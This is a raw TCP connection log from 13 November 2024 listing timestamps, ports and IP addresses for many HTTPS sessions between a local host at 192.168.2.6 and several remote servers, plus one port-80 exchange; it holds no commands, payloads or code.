Nov 13, 2024 18:08:21.674428940 CET	49792	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.674434900 CET	443	49792	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.684942961 CET	443	49791	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.686559916 CET	49791	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.686590910 CET	443	49791	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.687103033 CET	49791	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.687108994 CET	443	49791	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.695125103 CET	443	49789	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.695477962 CET	49789	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.695493937 CET	443	49789	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.695921898 CET	49789	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.695929050 CET	443	49789	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.696959972 CET	443	49788	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.698631048 CET	49788	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.698642015 CET	443	49788	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.699107885 CET	49788	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.699114084 CET	443	49788	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.790035009 CET	443	49790	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.790283918 CET	443	49790	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.790334940 CET	49790	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.790468931 CET	49790	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.790482044 CET	443	49790	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.793884039 CET	49799	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.793926001 CET	443	49799	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.794110060 CET	49799	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.794240952 CET	49799	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.794259071 CET	443	49799	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.800446987 CET	443	49792	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.800602913 CET	443	49792	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.800657988 CET	49792	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.800816059 CET	49792	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.800817013 CET	49792	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.800828934 CET	443	49792	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.800837040 CET	443	49792	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.803754091 CET	49800	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.803801060 CET	443	49800	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.803859949 CET	49800	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.804428101 CET	49800	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.804470062 CET	443	49800	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.820945024 CET	443	49791	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.821229935 CET	443	49791	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.821289062 CET	49791	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.821345091 CET	49791	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.821353912 CET	443	49791	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.821365118 CET	49791	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.821368933 CET	443	49791	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.823606014 CET	49801	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.823628902 CET	443	49801	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.823950052 CET	49801	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.824167013 CET	49801	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.824174881 CET	443	49801	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.828139067 CET	443	49789	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.828758001 CET	443	49789	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.828808069 CET	49789	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.828830004 CET	49789	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.828835011 CET	443	49789	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.828845024 CET	49789	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.828849077 CET	443	49789	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.830569983 CET	443	49788	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.830918074 CET	49802	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.831005096 CET	443	49802	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.831118107 CET	49802	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.831228971 CET	49802	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.831265926 CET	443	49802	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.831285000 CET	443	49788	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.831346989 CET	49788	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.831442118 CET	49788	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.831454039 CET	443	49788	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.831465960 CET	49788	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.831473112 CET	443	49788	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.833199024 CET	49803	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.833209038 CET	443	49803	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:21.833266973 CET	49803	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.833467960 CET	49803	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:21.833476067 CET	443	49803	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.233546972 CET	443	49796	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:22.233670950 CET	49796	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:22.234668970 CET	49796	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:22.234678030 CET	443	49796	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:22.235012054 CET	443	49796	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:22.236002922 CET	49796	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:22.264713049 CET	49804	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:22.264758110 CET	443	49804	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:22.264848948 CET	49804	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:22.265111923 CET	49804	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:22.265127897 CET	443	49804	142.250.186.78	192.168.2.6
Nov 13, 2024 18:08:22.283319950 CET	443	49796	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:22.387600899 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.387768030 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.389137983 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.389147043 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.389501095 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.443582058 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.448715925 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.489080906 CET	443	49796	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:22.489192009 CET	443	49796	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:22.489330053 CET	49796	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:22.489867926 CET	49796	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:22.489867926 CET	49796	443	192.168.2.6	184.28.90.27
Nov 13, 2024 18:08:22.489881992 CET	443	49796	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:22.489892006 CET	443	49796	184.28.90.27	192.168.2.6
Nov 13, 2024 18:08:22.491331100 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.537503004 CET	443	49799	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.538676023 CET	49799	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.538676023 CET	49799	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.538695097 CET	443	49799	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.538703918 CET	443	49799	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.548187017 CET	443	49801	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.548933983 CET	49801	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.548933983 CET	49801	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.548943043 CET	443	49801	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.548964024 CET	443	49801	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.580248117 CET	443	49803	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.582575083 CET	49803	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.582575083 CET	49803	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.582587004 CET	443	49803	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.582627058 CET	443	49803	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.586359024 CET	443	49800	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.586904049 CET	49800	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.586987019 CET	443	49800	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.587383032 CET	49800	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.587398052 CET	443	49800	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.590815067 CET	443	49802	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.591598988 CET	49802	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.591617107 CET	443	49802	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.591767073 CET	49802	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.591778040 CET	443	49802	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.649348021 CET	80	49795	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:22.649555922 CET	49795	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:22.674562931 CET	443	49799	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.674784899 CET	443	49799	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.674844027 CET	49799	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.679721117 CET	443	49801	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.679877043 CET	443	49801	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.680006981 CET	49801	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.686120033 CET	49799	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.686131954 CET	443	49799	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.686163902 CET	49799	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.686170101 CET	443	49799	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.686691999 CET	49801	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.686691999 CET	49801	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.686705112 CET	443	49801	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.686712027 CET	443	49801	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.689852953 CET	49805	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.689894915 CET	443	49805	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.690205097 CET	49805	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.691214085 CET	49806	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.691219091 CET	49805	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.691231012 CET	443	49805	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.691258907 CET	443	49806	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.691359997 CET	49806	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.691811085 CET	49806	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.691829920 CET	443	49806	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.712280989 CET	443	49803	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.712739944 CET	443	49803	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.712954998 CET	49803	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.713123083 CET	49803	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.713123083 CET	49803	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.713129997 CET	443	49803	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.713136911 CET	443	49803	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.715589046 CET	49807	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.715617895 CET	443	49807	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.715734005 CET	49807	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.715897083 CET	49807	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.715919971 CET	443	49807	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.724502087 CET	443	49800	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.724709034 CET	443	49800	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.725197077 CET	49800	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.726440907 CET	49800	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.726442099 CET	49800	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.726489067 CET	443	49800	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.726520061 CET	443	49800	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.728642941 CET	49808	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.728681087 CET	443	49808	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.728857040 CET	49808	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.728969097 CET	49808	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.728981018 CET	443	49808	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.731295109 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.731398106 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.731421947 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.731462955 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.731482983 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.731498957 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.731503010 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.731534004 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.731538057 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.731538057 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.731617928 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.731695890 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.731712103 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.731832027 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.731842041 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.731894970 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.732141018 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.736531019 CET	443	49802	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.736674070 CET	443	49802	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.736799002 CET	49802	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.736845016 CET	49802	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.736859083 CET	443	49802	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.736897945 CET	49802	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.736927032 CET	443	49802	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.739424944 CET	49809	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.739470005 CET	443	49809	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.739664078 CET	49809	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.739664078 CET	49809	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:22.739729881 CET	443	49809	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:22.742254972 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.742254972 CET	49797	443	192.168.2.6	20.12.23.50
Nov 13, 2024 18:08:22.742271900 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.742283106 CET	443	49797	20.12.23.50	192.168.2.6
Nov 13, 2024 18:08:22.744826078 CET	49778	443	192.168.2.6	172.217.18.4
Nov 13, 2024 18:08:22.751334906 CET	49804	443	192.168.2.6	142.250.186.78
Nov 13, 2024 18:08:22.782510042 CET	49795	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:22.787378073 CET	80	49795	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:23.425734997 CET	443	49805	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.426177025 CET	49805	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.426192045 CET	443	49805	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.426574945 CET	49805	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.426578999 CET	443	49805	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.450141907 CET	443	49807	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.456001997 CET	49807	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.456017971 CET	443	49807	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.456372023 CET	49807	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.456376076 CET	443	49807	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.459455013 CET	443	49806	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.499675989 CET	49806	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.499697924 CET	443	49806	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.500468969 CET	49806	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.500484943 CET	443	49806	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.502507925 CET	443	49809	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.502939939 CET	49809	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.503005028 CET	443	49809	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.503338099 CET	49809	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.503354073 CET	443	49809	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.529187918 CET	443	49808	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.533608913 CET	49808	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.533618927 CET	443	49808	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.539330006 CET	49808	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.539334059 CET	443	49808	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.556479931 CET	443	49805	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.556803942 CET	443	49805	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.556880951 CET	49805	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.561789036 CET	80	49795	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:23.564677000 CET	49805	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.564692974 CET	443	49805	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.564707041 CET	49795	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:23.564718008 CET	49805	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.564723969 CET	443	49805	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.582187891 CET	443	49807	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.582494020 CET	443	49807	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.582597971 CET	49807	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.585093975 CET	49807	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.585093975 CET	49807	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.585104942 CET	443	49807	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.585113049 CET	443	49807	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.631110907 CET	443	49809	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.631356001 CET	443	49809	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.631573915 CET	49809	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.632143021 CET	443	49806	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.633188963 CET	443	49806	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.633299112 CET	49806	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.639693022 CET	49809	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.639722109 CET	443	49809	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.639740944 CET	49809	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.639750004 CET	443	49809	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.640599966 CET	49806	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.640635967 CET	443	49806	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.640656948 CET	49806	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.640676022 CET	443	49806	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.670476913 CET	443	49808	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.670563936 CET	443	49808	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.670659065 CET	49808	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.687331915 CET	49810	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.687369108 CET	443	49810	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.687504053 CET	49810	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.699474096 CET	49811	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.699565887 CET	443	49811	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.699698925 CET	49811	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.700683117 CET	49808	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.700694084 CET	443	49808	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.700721025 CET	49808	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.700726032 CET	443	49808	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.702198029 CET	49810	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.702209949 CET	443	49810	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.702300072 CET	49811	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.702337027 CET	443	49811	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.710560083 CET	49812	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.710588932 CET	443	49812	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.710670948 CET	49812	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.710855007 CET	49812	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.710875988 CET	443	49812	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.713644981 CET	49813	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.713669062 CET	443	49813	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.713777065 CET	49813	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.714210033 CET	49813	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.714226007 CET	443	49813	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.714766026 CET	49814	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.714775085 CET	443	49814	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:23.714838028 CET	49814	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.715089083 CET	49814	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:23.715097904 CET	443	49814	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.438580036 CET	443	49812	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.439239979 CET	49812	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.439255953 CET	443	49812	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.440011024 CET	49812	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.440016985 CET	443	49812	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.444032907 CET	443	49814	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.444601059 CET	49814	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.444617987 CET	443	49814	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.445036888 CET	49814	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.445041895 CET	443	49814	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.447858095 CET	443	49810	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.448532104 CET	49810	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.448542118 CET	443	49810	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.449201107 CET	49810	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.449215889 CET	443	49810	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.456393957 CET	443	49813	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.456907034 CET	49813	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.456932068 CET	443	49813	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.457312107 CET	49813	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.457319021 CET	443	49813	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.470875025 CET	443	49811	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.471344948 CET	49811	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.471410036 CET	443	49811	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.471798897 CET	49811	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.471815109 CET	443	49811	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.567272902 CET	443	49812	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.567570925 CET	443	49812	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.567738056 CET	49812	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.572601080 CET	443	49814	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.572688103 CET	49812	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.572706938 CET	443	49812	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.572755098 CET	443	49814	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.572796106 CET	49812	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.572802067 CET	443	49812	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.572835922 CET	49814	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.577342987 CET	49814	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.577342987 CET	49814	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:24.577348948 CET	443	49814	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:24.577357054 CET	443	49814	13.107.246.45	192.168.2.6
